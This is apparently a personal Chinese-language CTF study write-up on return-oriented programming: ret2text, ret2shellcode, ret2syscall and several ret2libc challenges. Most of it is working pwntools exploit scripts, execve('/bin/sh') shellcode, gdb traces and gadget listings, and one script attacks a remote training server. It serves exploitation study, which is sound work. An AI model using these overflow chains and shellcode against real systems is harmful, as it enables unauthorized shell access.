CTF-Wiki ROP*
ROP, Return Oriented Programming,主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 gadgets 来改变某些寄存器或变量的值,从而控制程序的执行流程。
所谓 gadgets 就是以 ret 结尾的指令序列。
- 程序存在溢出,可以控制返回地址
- 可以找到满足条件的 gadgets 以及相应的地址(可能需要动态获取地址
ret2text*
控制程序执行本身已有的代码
gdb-peda$ checks
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
使用 IDA 查看程序逻辑,找到危险函数 gets
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets(&s);
printf("Maybe I will tell you next time !");
return 0;
}
使用 gdb 计算 offset
ECX: 0xffffffff
EDX: 0xffffffff
ESI: 0xf7fb1000 --> 0x1dfd6c
EDI: 0xf7fb1000 --> 0x1dfd6c
EBP: 0xffffd5c8 --> 0x0
ESP: 0xffffd540 --> 0xffffd55c --> 0x0
EIP: 0x80486ae (<main+102>: call 0x8048460 <gets@plt>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80486a2 <main+90>: call 0x8048480 <puts@plt>
0x80486a7 <main+95>: lea eax,[esp+0x1c]
0x80486ab <main+99>: mov DWORD PTR [esp],eax
=> 0x80486ae <main+102>: call 0x8048460 <gets@plt>
0x80486b3 <main+107>: mov DWORD PTR [esp],0x80487a4
0x80486ba <main+114>: call 0x8048450 <printf@plt>
0x80486bf <main+119>: mov eax,0x0
0x80486c4 <main+124>: leave
Guessed arguments:
arg[0]: 0xffffd55c --> 0x0
[------------------------------------stack-------------------------------------]
0000| 0xffffd540 --> 0xffffd55c --> 0x0
0004| 0xffffd544 --> 0x0
0008| 0xffffd548 --> 0x1
0012| 0xffffd54c --> 0x0
0016| 0xffffd550 --> 0xffffd5a0 --> 0x1
0020| 0xffffd554 --> 0x0
0024| 0xffffd558 --> 0xf7ffd000 --> 0x28f24
0028| 0xffffd55c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080486ae 24 in ret2text.c
gdb-peda$
直接计算 buff 位置 0xffffd55c 到 EBP 0xffffd5c8 的偏移,再 +4 跳过 old EBP 即可覆盖返回地址。
# exp.py
from pwn import *
r = proccess('./ret2text')
target = 0x0804863A
r.sendline('a' * (0xc8-0x5c+4) + p32(target))
r.interactive()
ret2shellcode*
控制程序执行 shellcode,需要自己填充 shellcode,填充区域需要有可执行权限。
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
啥都没开,可以填充 shellcode。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(&s);
strncpy(buf2, &s, 0x64u);
printf("bye bye ~");
return 0;
}
可以找到 buf2 在 bss 段,用 gdb 查看有可执行权限,可以实现 ret2shellcode
在 gdb 中计算偏移地址,还是 buff 位置到 EBP 的偏移 +4,先填入 shellcode 之后任意字符填充,然后填入 buf2 地址。
# exp.py
from pwn import *
r = process('./ret2shellcode')
sc = asm(shellcraft.sh())
target = 0x804a080
payload = sc + 'a'*(112 - len(sc)) + p32(target)
print payload
r.sendline(payload)
r.interactive()
用的 shellcode 是 pwntools 生成的,打印出来:
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push '/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
int 0x80
sniperoj-pwn100-shellcode*
编译的时候用 gcc -z execstack 关闭 NX
gef➤ checksec
[+] checksec for '/home/kali/pwn/shellcode'
Canary : ✘
NX : ✘
PIE : ✓
Fortify : ✘
RelRO : Partial
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 buf; // [rsp+0h] [rbp-10h]
__int64 v5; // [rsp+8h] [rbp-8h]
buf = 0LL;
v5 = 0LL;
setvbuf(_bss_start, 0LL, 1, 0LL);
puts("Welcome to Sniperoj!");
printf("Do your kown what is it : [%p] ?\n", &buf);
puts("Now give me your answer : ");
read(0, &buf, 64uLL);
return 0;
}
NX 关了,还给了 buf 的地址,所以就直接在栈里填 shellcode 然后执行。
但是不能填在 buf 起始的 24 bytes 处,因为 shellcode 里有 push 的话就会覆盖自身。
所以就在返回地址后填充 shellcode,大小限制不再是 24 而是 32,因为 read 一共就读入 64 ,没注意看卡了半天。。。tcl
from pwn import *
r = process('./shellcode')
shellcode_x64 = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
print disasm(shellcode_x64)
offset = 0x10 + 8
r.recvuntil('[')
buf_addr = r.recvuntil(']', drop=True)
print buf_addr
buf_addr = int(buf_addr, 16)
payload = 'a'*offset + p64(buf_addr + 32) + asm(shellcode_x64)
r.sendline(payload)
r.interactive()
主要问题还是找短的 shellcode,在 exploitdb 里可以找到。有的 shellcode 长度符合但是并不能成功,看代码也没看出来为什么,之后还是学一下怎么写。
ret2syscall*
控制程序执行系统调用
gef➤ checksec
[+] checksec for '/home/kali/pwn/ret2syscall'
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}
还是从 gets 处溢出,只不过不能用程序自身代码或填入 shellcode的方式 getshell。程序里有 /bin/sh 字符串,构造系统调用 execve("/bin/sh"),需要控制寄存器的值:
- eax = 0xb
- ebx = $(“/bin/sh”)
- ecx = edx = 0
需要构造 ROP chain 控制寄存器的值,使用 ROPgadget 找到程序中可用的 gadgets:
$ ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'pop eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
$ ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'pop ebx' | grep 'pop ecx' | grep 'pop edx'
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
$ ROPgadget --binary ret2syscall --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh
$ ROPgadget --binary ret2syscall --only 'int' | grep '0x80'
0x08049421 : int 0x80
找到了可以控制 eax 和同时控制三个寄存器的 gadgets、系统调用以及字符串地址,接下来就是通过栈溢出,依次执行 gadgets,最后执行 syscall。
还是先用 gdb 计算偏移地址,然后覆盖
##coding=utf8
from pwn import *
r = process('./ret2syscall')
offset = 0xffffd5d8 - 0xffffd56c + 4
pop_eax = 0x080bb196
pop_edx_ecx_ebx = 0x0806eb90
bin_sh = 0x080be408
syscall = 0x08049421
r.sendline('a'*offset + p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bin_sh) + p32(syscall))
r.interactive()
ret2libc*
控制程序执行 libc 中的,通常是返回至某个函数的 plt 或函数具体位置(已知 got 表内容)。
gef➤ checksec
[+] checksec for '/home/kali/pwn/ret2libc1'
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(&s);
return 0;
}
gets 溢出,同时能找到 system_plt 和 /bin/sh,直接往栈里填就行了。
##coding=utf8
from pwn import *
r = process('./ret2libc1')
offset = 0xffffd5d8 - 0xffffd56c + 4
bin_sh = 0x08048720
system_plt = 0x08048460
rop = [
system_plt,
0xdeadbeef,
bin_sh,
]
print offset
r.sendline('a'*offset + ''.join(map(p32, rop)))
r.interactive()
ret2libc2*
gef➤ checksec
[+] checksec for '/home/kali/pwn/ret2libc2'
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("Something surprise here, but I don't think it will work.");
printf("What do you think ?");
gets(&s);
return 0;
}
这个也差不多,只不过没有 /bin/sh,还是有 system 的,所以就先用 gets 写入一个 /bin/sh 。
##coding=utf8
from pwn import *
r = process('./ret2libc2')
offset = 0xffffd5d8 - 0xffffd56c + 4
# bin_sh = 0x08048720
buf = 0x0804b000 - 100
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx_ret = 0x0804843d
rop = [
gets_plt,
pop_ebx_ret,
buf,
system_plt,
0xdeadbeef,
buf,
]
print offset
r.sendline('a'*offset + ''.join(map(p32, rop)))
r.sendline('/bin/sh\x00')
r.interactive()
ret2libc3*
gef➤ checksec
[+] checksec for '/home/kali/pwn/ret2libc3'
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets(&s);
return 0;
}
这次连 system 都没有了,所以就需要获取 libc 中 system 的地址,就需要获取装载基址。用 puts 泄露 __libc_start_main 的 got 表项,我电脑上这个地址有 \x00 所以打印不了,选择另一个 setvbuf。泄露之后可以用栈迁移再用 gets 读或者返回到 main 函数:
##coding=utf8
from pwn import *
r = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
offset = 0xffffd5c8 - 0xffffd55c + 4
buf = 0x0804af80
buf2 = 0x0804a880
puts_plt = ret2libc3.plt['puts']
gets_plt = ret2libc3.plt['gets']
setvbuf_got = ret2libc3.got['setvbuf']
pop_ebp_ret = 0x080486ff
leave_ret = 0x08048538
rop = [
puts_plt,
pop_ebp_ret,
setvbuf_got,
gets_plt,
pop_ebp_ret,
buf,
pop_ebp_ret,
buf - 4,
leave_ret,
]
print offset
r.sendlineafter('Can you find it !?', 'a'*offset + ''.join(map(p32, rop)))
# recv1 = r.recvline()
# print 'recv1: ', ":".join("{:x}".format(ord(c)) for c in recv1)
setvbuf = r.recvline()
print 'recv: ', ":".join("{:x}".format(ord(c)) for c in setvbuf)
setvbuf_offset = 0x006fd30
libc_base = u32(setvbuf[:4]) - setvbuf_offset
print 'libc base:', hex(libc_base)
system = libc_base + 0x0044620
rop2 = [
gets_plt,
system,
buf2,
buf2,
]
r.sendline(''.join(map(p32, rop2)))
r.sendline('/bin/sh\x00')
r.interactive()
带哥给的 exp 里直接返回到 main 函数再次溢出,不过这里的偏移又不一样了,所以要再调试到那算一下。
##coding=utf8
from pwn import *
r = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
puts_plt = ret2libc3.plt['puts']
gets_plt = ret2libc3.plt['gets']
setvbuf_got = ret2libc3.got['setvbuf']
main = ret2libc3.symbols['main']
rop = [
puts_plt,
main,
setvbuf_got,
]
r.sendlineafter('Can you find it !?', 'a'*112 + ''.join(map(p32, rop)))
setvbuf = r.recvline()
print 'recv: ', ":".join("{:x}".format(ord(c)) for c in setvbuf)
setvbuf_offset = 0x006fd30
libc_base = u32(setvbuf[:4]) - setvbuf_offset
print 'libc base:', hex(libc_base)
system = libc_base + 0x0044620
bin_sh = libc_base + 0x00188406
rop2 = [
system,
0xdeadbeef,
bin_sh
]
r.sendlineafter('Can you find it !?', 'a'*104 + ''.join(map(p32, rop2)))
r.interactive()
train.cs.nctu.edu.tw: ret2libc*
gef➤ checksec
[+] checksec for '/home/kali/pwn/ret2libc'
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-14h]
puts("Hello!");
printf("The address of \"/bin/sh\" is %p\n", binsh);
printf("The address of function \"puts\" is 0x%x\n", &puts);
fflush(stdout);
return __isoc99_scanf("%s", &v4);
}
运行后输出 /bin/sh 和 puts 的地址,通过 LibcSearcher 找 libc 版本,然后导出 system 地址。不过在本地用 libc 实属8行
##coding=utf8
from pwn import *
from LibcSearcher import *
r = remote('bamboofox.cs.nctu.edu.tw', 11002)
offset = 0xffffd5e8 - 0xffffd5cc + 4
r.recvuntil('is ')
bin_sh = int(r.recvuntil('\n'), 16)
print '/bin/sh =', hex(bin_sh)
r.recvuntil('is ')
puts = int(r.recvuntil('\n'), 16)
print 'puts =', hex(puts)
libc = LibcSearcher('puts', puts)
# libc.add_condition('str_bin_sh', bin_sh)
libc_base = puts - libc.dump('puts')
print 'system =', hex(libc.dump('system'))
system = libc_base + libc.dump('system')
rop = [
system,
0xdeadbeef,
bin_sh,
]
r.sendline('a'*offset + ''.join(map(p32, rop)))
r.interactive()
train.cs.nctu.edu.tw: rop*
2013-PlaidCTF-ropasaurusrex*
gef➤ checksec
[+] checksec for '/home/kali/pwn/ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d'
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : ✘
ssize_t __cdecl main()
{
ReadStr();
return write(1, "WIN\n", 4u);
}
ssize_t ReadStr()
{
char buf; // [esp+10h] [ebp-88h]
return read(0, &buf, 0x100u);
}
看到还是有溢出,开了 NX 还是不用想 shellcode 了。程序内没找到 system 和 /bin/sh,那就得 ret2lib 。本地没法加载给的 libc,所以这个题写 exp 的意义也不大。思路就是泄露 read 的 got,然后用 read 读入 /bin/sh,在调 system。